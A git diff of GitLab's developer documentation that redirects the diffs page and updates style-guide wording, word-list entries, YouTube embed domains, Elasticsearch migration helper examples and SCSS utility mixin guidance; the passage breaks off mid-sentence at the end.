diff --git a/doc/development/diffs.md b/doc/development/diffs.md index b38fcea4f00..c84bf57e085 100644 --- a/doc/development/diffs.md +++ b/doc/development/diffs.md @@ -1,199 +1,11 @@ --- -stage: Create -group: Code Review -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'merge_request_concepts/diffs/index.md' +remove_date: '2023-04-10' --- -# Working with diffs +This document was moved to [another location](merge_request_concepts/diffs/index.md). -We rely on different sources to present diffs. These include: - -- Gitaly service -- Database (through `merge_request_diff_files`) -- Redis (cached highlighted diffs) - -## Deep Dive - -<!-- vale gitlab.Spelling = NO --> - -In January 2019, Oswaldo Ferreira hosted a Deep Dive (GitLab team members only: -`https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab Diffs and Commenting on Diffs -functionality to share domain-specific knowledge with anyone who may work in this part of the -codebase in the future: - -<!-- vale gitlab.Spelling = YES --> - -- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> - [Recording on YouTube](https://www.youtube.com/watch?v=K6G3gMcFyek) -- Slides on [Google Slides](https://docs.google.com/presentation/d/1bGutFH2AT3bxOPZuLMGl1ANWHqFnrxwQwjiwAZkF-TU/edit) -- [PDF slides](https://gitlab.com/gitlab-org/create-stage/uploads/b5ad2f336e0afcfe0f99db0af0ccc71a/) - -Everything covered in this deep dive was accurate as of GitLab 11.7, and while specific details may -have changed since then, it should still serve as a good introduction. - -## Architecture overview - -### Merge request diffs - -When refreshing a merge request (pushing to a source branch, force-pushing to target branch, or if the target branch now contains any commits from the MR) -we fetch the comparison information using `Gitlab::Git::Compare`, which fetches `base` and `head` data using Gitaly and diff between them through -`Gitlab::Git::Diff.between`. -The diffs fetching process _limits_ single file diff sizes and the overall size of the whole diff through a series of constant values. Raw diff files are -then persisted on `merge_request_diff_files` table. - -Even though diffs larger than 10% of the value of `ApplicationSettings#diff_max_patch_bytes` are collapsed, -we still keep them on PostgreSQL. However, diff files larger than defined _safety limits_ -(see the [Diff limits section](#diff-limits)) are _not_ persisted in the database. - -In order to present diffs information on the merge request diffs page, we: - -1. Fetch all diff files from database `merge_request_diff_files` -1. Fetch the _old_ and _new_ file blobs in batch to: - - Highlight old and new file content - - Know which viewer it should use for each file (text, image, deleted, etc) - - Know if the file content changed - - Know if it was stored externally - - Know if it had storage errors -1. If the diff file is cacheable (text-based), it's cached on Redis - using `Gitlab::Diff::FileCollection::MergeRequestDiff` - -### Note diffs - -When commenting on a diff (any comparison), we persist a truncated diff version -on `NoteDiffFile` (which is associated with the actual `DiffNote`). So instead -of hitting the repository every time we need the diff of the file, we: - -1. Check whether we have the `NoteDiffFile#diff` persisted and use it -1. Otherwise, if it's a current MR revision, use the persisted - `MergeRequestDiffFile#diff` -1. In the last scenario, go the repository and fetch the diff - -## Diff limits - -As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file, -and cases where the diff file is not presented at all, and the user is guided to the Blob view. - -### Diff collection limits - -Limits that act onto all diff files collection. Files number, lines number and files size are considered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100 -``` - -File diffs are collapsed (but are expandable) if 100 files have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 -``` - -File diffs are collapsed (but be expandable) if 5000 lines have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes -``` - -File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000 -``` - -No more files are rendered at all if 1000 files have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000 -``` - -No more files are rendered at all if 50,000 lines have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes -``` - -No more files are rendered at all if 5 megabytes have already been rendered. - -All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed, -Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`. - -### Individual diff file limits - -Limits that act onto each diff file of a collection. Files number, lines number and files size are considered. - -#### Expandable patches (collapsed) - -Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`. -That is, it's equivalent to 10kb if the maximum allowed value is 100kb. -The diff is persisted and expandable if the patch size doesn't -surpass `ApplicationSettings#diff_max_patch_bytes`. - -Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly). -Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits. - -#### Not expandable patches (too large) - -The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`. -Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit. - -```ruby -Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 -``` - -File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines. - -This limit is hardcoded and only applied on GitLab. - -## Viewers - -Diff Viewers, which can be found on `models/diff_viewer/*` are classes used to map metadata about each type of Diff File. It has information -whether it's a binary, which partial should be used to render it or which File extensions this class accounts for. - -`DiffViewer::Base` validates _blobs_ (old and new versions) content, extension and file type to check if it can be rendered. - -## Merge request diffs against the `HEAD` of the target branch - -Historically, merge request diffs have been calculated by `git diff target...source` which compares the -`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's. -This solution works well until the target branch starts containing some of the -changes introduced by the source branch: Consider the following case, in which the source branch -is `feature_a` and the target is `main`: - -1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it. -1. Add a commit that removes `file_a` to `main`. - -The merge request diff still contains the `file_a` removal while the actual diff compared to -`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant -changes is harder to review. - -In order to display an up-to-date diff, in GitLab 12.9 we -[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27008) merge request -diffs compared against `HEAD` of the target branch: the -target branch is artificially merged into the source branch, then the resulting -merge ref is compared to the source branch to calculate an accurate -diff. - -Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854) -and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893), -both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests: - - - -The `main (HEAD)` option is meant to replace `main (base)` in the future. - -In order to support comments for both options, diff note positions are stored for -both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10). -The position for `main (base)` version is stored in `Note#position` and -`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition` -has been introduced. - -One of the key challenges to deal with when working on merge ref diffs are merge -conflicts. If the target and source branch contains a merge conflict, the branches -cannot be automatically merged. The -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered) -is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854). - -In 13.5 a solution for both-modified merge -conflict has been -[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484). However, -there are more classes of merge conflicts that are to be -[addressed](https://gitlab.com/groups/gitlab-org/-/epics/4893) in the future. +<!-- This redirect file can be deleted after <2023-04-10>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 9e62f019fbf..79d0ff84713 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -4,7 +4,7 @@ group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Distributed Tracing - development guidelines **(FREE)** +# Distributed Tracing - development guidelines GitLab is instrumented for distributed tracing. Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com. diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index a9f2726ea93..8a5a993d913 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -241,7 +241,7 @@ with the following conventions: - It omits the `.md` extension. - It doesn't end with a forward slash (`/`). -The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/helping-users/#formatting-help-content). +The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/contextual-help#formatting-help-content). #### Linking to `/help` in HAML diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 3e55b334992..921bb13721b 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -17,7 +17,7 @@ In addition to this page, the following resources can help you craft and contrib - [Doc contribution guidelines](../index.md) - [Recommended word list](word_list.md) - [Doc style and consistency testing](../testing.md) -- [Guidelines for UI error messages](https://design.gitlab.com/content/error-messages/) +- [Guidelines for UI error messages](https://design.gitlab.com/content/voice-and-tone#clear-error-messages) - [Documentation global navigation](../site_architecture/global_nav.md) - [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) - [Microsoft Style Guide](https://learn.microsoft.com/en-us/style-guide/welcome/) @@ -523,10 +523,10 @@ When using code block style: ## Lists -- Use a period after every sentence, including those that complete an introductory phrase. - Do not use semicolons or commas. -- Majority rules. Use either full sentences or all fragments. Avoid a mix. -- Always start list items with a capital letter. +- Do not use a period if the phrase is not a full sentence. +- Use a period after every sentence. Do not use semicolons or commas. +- Majority rules. All items should have the same punctuation. +- Start list items with a capital letter. - Separate the introductory phrase from explanatory text with a colon (`:`). For example: ```markdown @@ -1217,7 +1217,7 @@ To embed a video: the video title and link in the line under `<div class="video-fallback">`. 1. In YouTube, select **Share**, and then select **Embed**. 1. Copy the `<iframe>` source (`src`) **URL only** - (`https://www.youtube.com/embed/VIDEO-ID`), + (`https://www.youtube-nocookie.com/embed/VIDEO-ID`), and paste it, replacing the content of the `src` field in the `iframe` tag. @@ -1227,7 +1227,7 @@ leave a blank line here See the video: <a href="https://www.youtube.com/watch?v=MqL6BMOySIQ">Video title</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen> </iframe> </figure> leave a blank line here ``` @@ -1238,7 +1238,7 @@ This is how it renders on the GitLab documentation site: See the video: <a href="https://www.youtube.com/watch?v=enMumwvLAug">What is GitLab</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/MqL6BMOySIQ" frameborder="0" allowfullscreen> </iframe> </figure> > Notes: @@ -1249,6 +1249,7 @@ different mobile devices. > - The `<div class="video-fallback">` is a fallback necessary for `/help`, because the GitLab Markdown processor doesn't support iframes. It's hidden on the documentation site, but is displayed by `/help`. +> - The `www.youtube-nocookie.com` domain enables the [Privacy Enhanced Mode](https://support.google.com/youtube/answer/171780?hl=en#zippy=%2Cturn-on-privacy-enhanced-mode) of the YouTube embedded player. This mode allows users with resticted cookie preferences to view embedded videos. ## Alert boxes @@ -1446,6 +1447,8 @@ For example: [configuration edits guide](#configuration-documentation-for-different-installation-methods)) - `15.1 and earlier`, `15.2 and later` +Until we implement automated testing for broken links to tabs ([Issue 1355](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/1355)), do not link directly to a single tab, even though they do have unique URL parameters. + See [Pajamas](https://design.gitlab.com/components/tabs/#guidelines) for more details on tabs. diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md index 333a5521536..fcebe3b3649 100644 --- a/doc/development/documentation/styleguide/word_list.md +++ b/doc/development/documentation/styleguide/word_list.md @@ -186,6 +186,10 @@ Instead, use **assign**. For example: - Assign the issue to an epic. - Assign a user to the issue. +## authenticated user + +Use **authenticated user** instead of other variations, like **signed in user** or **logged in user**. + ## below Try to avoid **below** when referring to an example or table in a documentation page. If required, use **following** instead. For example: @@ -309,6 +313,13 @@ Users can set the default branch by using a UI setting. For examples that use the default branch, use `main` instead of [`master`](#master). +## delete + +Use **delete** when an object is completely deleted. **Delete** is the opposite of **create**. + +When the object continues to exist, use [**remove**](#remove) instead. +For example, you can remove an issue from an epic, but the issue still exists. + ## Dependency Proxy Use title case for the GitLab Dependency Proxy. @@ -487,7 +498,7 @@ Use title case for **Geo**. ## GitLab -Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/trademark-guidelines/). +Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/brand-and-product-marketing/brand/brand-activation/trademark-guidelines/). ## GitLab.com @@ -691,6 +702,10 @@ Do not use **limitations**. Use **known issues** instead. Do not use **log in** or **log on**. Use [sign in](#sign-in) instead. If the user interface has **Log in**, you can use it. +## logged-in user, logged in user + +Use **authenticated user** instead of **logged-in user** or **logged in user**. + ## lower Do not use **lower** when talking about version numbers. @@ -937,6 +952,12 @@ we would talk to a colleague, and to avoid differentiation between `we` and `the Use **register** instead of **sign up** when talking about creating an account. +## remove + +Use **remove** when an object continues to exist. For example, you can remove an issue from an epic, but the issue still exists. + +When an object is completely deleted, use [**delete**](#delete) instead. + ## Reporter When writing about the Reporter role: @@ -1075,6 +1096,10 @@ You can use **single sign-on**. Use **register** instead of **sign up** when talking about creating an account. +## signed-in user, signed in user + +Use **authenticated user** instead of **signed-in user** or **signed in user**. + ## simply, simple Do not use **simply** or **simple**. If the user doesn't find the process to be simple, we lose their trust. ([Vale](../testing.md#vale) rule: [`Simplicity.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Simplicity.yml)) @@ -1318,7 +1343,7 @@ in present tense, active voice. ## you, your, yours Use **you**, **your**, and **yours** instead of **the user** and **the user's**. -Documentation should be from the [point of view](https://design.gitlab.com/content/voice-tone/#point-of-view) of the reader. +Documentation should be from the [point of view](https://design.gitlab.com/content/voice-and-tone#point-of-view) of the reader. Use: diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index 8b8f281d7c1..58584b5168b 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -282,16 +282,16 @@ Vale returns three types of results: - **Error** - For branding guidelines, trademark guidelines, and anything that causes content on the docs site to render incorrectly. -- **Warning** - For Technical Writing team style preferences. -- **Suggestion** - For basic technical writing tenets and best practices. +- **Warning** - For general style guide rules, tenets, and best practices. +- **Suggestion** - For technical writing style preferences that may require refactoring of documentation or updates to an exceptions list. The result types have these attributes: -| Result type | Displayed in CI/CD job output | Causes CI/CD jobs to fail | Vale rule link | -|--------------|-------------------------------|---------------------------|----------------| -| `error` | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) | -| `warning` | **{dotted-circle}** No | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) | -| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) | +| Result type | Displays in CI/CD job output | Displays in MR diff | Causes CI/CD jobs to fail | Vale rule link | +|--------------|------------------------------|---------------------|---------------------------|----------------| +| `error` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) | +| `warning` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) | +| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) | #### Vale spelling test @@ -360,6 +360,10 @@ In general, follow these guidelines: If the rule is too subjective, it cannot be adequately enforced and creates unnecessary additional warnings. + - Whether it's appropriate to display in the merge request diff in the GitLab UI. + If the rule is difficult to implement directly in the merge request (for example, + it requires page refactoring), set it to suggestion-level so it displays in local editors only. + ### Install linters At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in @@ -407,15 +411,13 @@ To configure markdownlint in your editor, install one of the following as approp - Sublime Text [`SublimeLinter-contrib-markdownlint` package](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint). - Visual Studio Code [`DavidAnson.vscode-markdownlint` extension](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint). -- Atom [`linter-node-markdownlint` package](https://atom.io/packages/linter-node-markdownlint). - Vim [ALE plugin](https://github.com/dense-analysis/ale). To configure Vale in your editor, install one of the following as appropriate: -- Sublime Text [`SublimeLinter-contrib-vale` package](https://packagecontrol.io/packages/SublimeLinter-contrib-vale). +- Sublime Text [`SublimeLinter-vale` package](https://packagecontrol.io/packages/SublimeLinter-vale). - Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). You can configure the plugin to [display only a subset of alerts](#show-subset-of-vale-alerts). -- Atom [`atomic-vale` package](https://atom.io/packages/atomic-vale). - Vim [ALE plugin](https://github.com/dense-analysis/ale). - JetBrains IDEs - No plugin exists, but [this issue comment](https://github.com/errata-ai/vale-server/issues/39#issuecomment-751714451) diff --git a/doc/development/documentation/topic_types/concept.md b/doc/development/documentation/topic_types/concept.md index e01b06c2c07..66af8780b9b 100644 --- a/doc/development/documentation/topic_types/concept.md +++ b/doc/development/documentation/topic_types/concept.md @@ -10,8 +10,8 @@ A concept introduces a single feature or concept. A concept should answer the questions: -- What is this? -- Why would you use it? +- **What** is this? +- **Why** would you use it? Think of everything someone might want to know if they've never heard of this concept before. @@ -24,12 +24,15 @@ Concepts should be in this format: ```markdown # Title (a noun, like "Widgets") -A paragraph that explains what this thing is. +A paragraph or two that explains what this thing is and why you would use it. -Another paragraph that explains what this thing is. +If you start to describe another concept, stop yourself. +Each concept should be about **one concept only**. -Remember, if you start to describe about another concept, stop yourself. -Each concept should be about one concept only. +If you start to describe **how to use the thing**, stop yourself. +Task topics explain how to use something, not concept topics. + +Do not include links to related tasks. The navigation provides links to tasks. ``` ## Concept topic titles diff --git a/doc/development/documentation/topic_types/index.md b/doc/development/documentation/topic_types/index.md index 964b41303cb..cfc231c268a 100644 --- a/doc/development/documentation/topic_types/index.md +++ b/doc/development/documentation/topic_types/index.md @@ -28,7 +28,7 @@ If inline links are not sufficient, you can create a topic called **Related topi and include an unordered list of related topics. This topic should be above the Troubleshooting section. ```markdown -# Related topics +## Related topics - [Configure your pipeline](link-to-topic). - [Trigger a pipeline manually](link-to-topic). diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index 2effa21b266..3c73030aceb 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -21,7 +21,7 @@ If you are not a GitLab team member, or do not have the Developer role for the G 1. Select an [issue](https://about.gitlab.com/handbook/product/ux/technical-writing/#community-contribution-opportunities) you'd like to work on. - You don't need an issue to open a merge request. - - For a Hackathon, in the issue, in a comment, mention the person who opened the issue and ask for the issue to be assigned to you. + - For a Hackathon, mention `@docs-hackathon` in a comment and ask for the issue to be assigned to you. To be fair to other contributors, if you see someone has already asked to work on the issue, choose another issue. If you are looking for issues to work on and don't see any that suit you, you can always fix [Vale](testing.md#vale) issues. 1. Go to the [GitLab repository](https://gitlab.com/gitlab-org/gitlab). diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 5e236c3e322..4eb5bedef1c 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -209,7 +209,10 @@ To test an EE class that doesn't exist in CE, create the spec file as you normal would in the `ee/spec` directory, but without the second `ee/` subdirectory. For example, a class `ee/app/models/vulnerability.rb` would have its tests in `ee/spec/models/vulnerability_spec.rb`. -By default, licensed features are disabled while specs are running. To effectively test your feature +By default, licensed features are disabled for specs in `specs/`. +Specs in the `ee/spec` directory have Starter license initialized by default. + +To effectively test your feature you must explicitly enable the feature using the `stub_licensed_features` helper, for example: ```ruby diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 88a417b4745..961a47e005b 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -4,7 +4,7 @@ group: Global Search info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Elasticsearch knowledge **(PREMIUM SELF)** +# Elasticsearch knowledge This area is to maintain a compendium of useful information when working with Elasticsearch. @@ -191,8 +191,7 @@ If the current version is `v12p1`, and we need to create a new version for `v12p NOTE: This only supported for indices created with GitLab 13.0 or greater. -Migrations are stored in the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder with `YYYYMMDDHHMMSS_migration_name.rb` -filename format, which is similar to Rails database migrations: +In the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder, create a new file with the filename format `YYYYMMDDHHMMSS_migration_name.rb`. This format is the same for Rails database migrations. ```ruby # frozen_string_literal: true @@ -225,6 +224,86 @@ To update Elastic index mappings, apply the configuration to the respective file Migrations can be built with a retry limit and have the ability to be [failed and marked as halted](https://gitlab.com/gitlab-org/gitlab/-/blob/66e899b6637372a4faf61cfd2f254cbdd2fb9f6d/ee/lib/elastic/migration.rb#L40). Any data or index cleanup needed to support migration retries should be handled within the migration. +### Migration helpers + +The following migration helpers are available in `ee/app/workers/concerns/elastic/`: + +#### `Elastic::MigrationBackfillHelper` + +Backfills a specific field in an index. In most cases, the mapping for the field should already be added. + +Requires the `index_name` and `field_name` methods. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationBackfillHelper + + private + + def index_name + Issue.__elasticsearch__.index_name + end + + def field_name + :schema_version + end +end +``` + +#### `Elastic::MigrationUpdateMappingsHelper` + +Updates a mapping in an index by calling `put_mapping` with the mapping specified. + +Requires the `index_name` and `new_mappings` methods. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationUpdateMappingsHelper + + private + + def index_name + Issue.__elasticsearch__.index_name + end + + def new_mappings + { + schema_version: { + type: 'short' + } + } + end +end +``` + +#### `Elastic::MigrationObsolete` + +Marks a migration as obsolete when it's no longer required. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationObsolete +end +``` + +#### `Elastic::MigrationHelper` + +Contains methods you can use when a migration doesn't fit the previous examples. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationHelper + + def migrate + ... + end + + def completed? + ... + end +end +``` + ### Migration options supported by the `Elastic::MigrationWorker` [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options: diff --git a/doc/development/experiment_guide/implementing_experiments.md b/doc/development/experiment_guide/implementing_experiments.md index e1407473731..5bce9f1fab5 100644 --- a/doc/development/experiment_guide/implementing_experiments.md +++ b/doc/development/experiment_guide/implementing_experiments.md @@ -138,7 +138,7 @@ communicate about experiments as something that's wider than just user behavior. NOTE: Using `actor:` uses cookies if the `current_user` is nil. If you don't need cookies though - meaning that the exposed functionality would only be visible to -signed in users - `{ user: current_user }` would be just as effective. +authenticated users - `{ user: current_user }` would be just as effective. WARNING: The caching of variant assignment is done by using this context, and so consider diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md index 982033cf2ad..6d13f419430 100644 --- a/doc/development/fe_guide/content_editor.md +++ b/doc/development/fe_guide/content_editor.md @@ -4,7 +4,7 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Content Editor development guidelines **(FREE)** +# Content Editor development guidelines The Content Editor is a UI component that provides a WYSIWYG editing experience for [GitLab Flavored Markdown](../../user/markdown.md) in the GitLab application. @@ -64,7 +64,7 @@ Instead, you should obtain an instance of the `ContentEditor` class by listening ```html <script> -import createFlash from '~/flash'; +import { createAlert } from '~/flash'; import { __ } from '~/locale'; export default { @@ -75,7 +75,7 @@ export default { try { await this.contentEditor.setSerializedContent(this.content); } catch (e) { - createFlash(__('Could not load initial document')); + createAlert({ message: __('Could not load initial document') }); } }, submitChanges() { diff --git a/doc/development/fe_guide/customizable_dashboards.md b/doc/development/fe_guide/customizable_dashboards.md index 807f83f5bec..7e7718f8e60 100644 --- a/doc/development/fe_guide/customizable_dashboards.md +++ b/doc/development/fe_guide/customizable_dashboards.md @@ -4,13 +4,15 @@ group: Product Analytics info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Customizable dashboards **(PREMIUM)** +# Customizable dashboards > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98610) in GitLab 15.5 as an [Alpha feature](../../policy/alpha-beta-support.md#alpha-features). Customizable dashboards provide a dashboard structure that allows users to create their own dashboards and commit the structure to a repository. +This feature is available for Premium and Ultimate subscriptions. + ## Usage To use customizable dashboards: diff --git a/doc/development/fe_guide/merge_request_widget_extensions.md b/doc/development/fe_guide/merge_request_widget_extensions.md index 49c6664c6d6..5ad918d466b 100644 --- a/doc/development/fe_guide/merge_request_widget_extensions.md +++ b/doc/development/fe_guide/merge_request_widget_extensions.md @@ -4,7 +4,7 @@ group: Code Review info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Merge request widget extensions **(FREE)** +# Merge request widget extensions > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44616) in GitLab 13.6. @@ -40,7 +40,7 @@ export default { summary(data) {}, // Required: Level 1 summary text statusIcon(data) {}, // Required: Level 1 status icon tertiaryButtons() {}, // Optional: Level 1 action buttons - shouldCollapse() {}, // Optional: Add logic to determine if the widget can expand or not + shouldCollapse(data) {}, // Optional: Add logic to determine if the widget can expand or not }, methods: { fetchCollapsedData(props) {}, // Required: Fetches data required for collapsed state diff --git a/doc/development/fe_guide/source_editor.md b/doc/development/fe_guide/source_editor.md index 4cfc68553e0..5f2e8c1e029 100644 --- a/doc/development/fe_guide/source_editor.md +++ b/doc/development/fe_guide/source_editor.md @@ -4,7 +4,7 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Source Editor **(FREE)** +# Source Editor **Source Editor** provides the editing experience at GitLab. This thin wrapper around [the Monaco editor](https://microsoft.github.io/monaco-editor/) provides necessary diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md index 7a5c955db93..b84f41311b6 100644 --- a/doc/development/fe_guide/style/scss.md +++ b/doc/development/fe_guide/style/scss.md @@ -61,6 +61,41 @@ Inspiration: - <https://tailwindcss.com/docs/utility-first> - <https://tailwindcss.com/docs/extracting-components> +#### Utility mixins + +In addition to utility classes GitLab UI provides utility mixins named after the utility classes. + +For example a utility class `.gl-mt-3` will have a corresponding mixin `gl-mt-3`. Here's how it can be used in an SCSS file: + +```scss +.my-class { + @include gl-mt-3; +} +``` + +These mixins should be used to replace _magic values_ in our code. +For example a `margin-top: 8px` is a good candidate for the `@include gl-mt-3` mixin replacement. + +Avoid using utility mixins for [pre-defined CSS keywords](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units#pre-defined_keyword_values). +For example prefer `display: flex` over `@include gl-display-flex`. + +```scss +// Bad +.my-class { + @include gl-display-flex; +} + +// Good +.my-class { + display: flex; +} + +// Good +.my-class { + @include gl-mt-3; +} +``` + ### Naming Filenames should use `snake_case`. diff --git a/doc/development/fe_guide/view_component.md b/doc/development/fe_guide/view_component.md index 90bb75514d8..f9d148d8b82 100644 --- a/doc/development/fe_guide/view_component.md +++ b/doc/development/fe_guide/view_component.md @@ -179,9 +179,9 @@ For the full list of options, see its The `Pajamas::CheckboxComponent` follows the [Pajamas Checkbox](https://design.gitlab.com/components/checkbox/) specification. NOTE: -`Pajamas::CheckboxComponent` is used internally by the [GitLab UI form builder](haml.md#use-the-gitlab-ui-form-builder) and requires an instance of 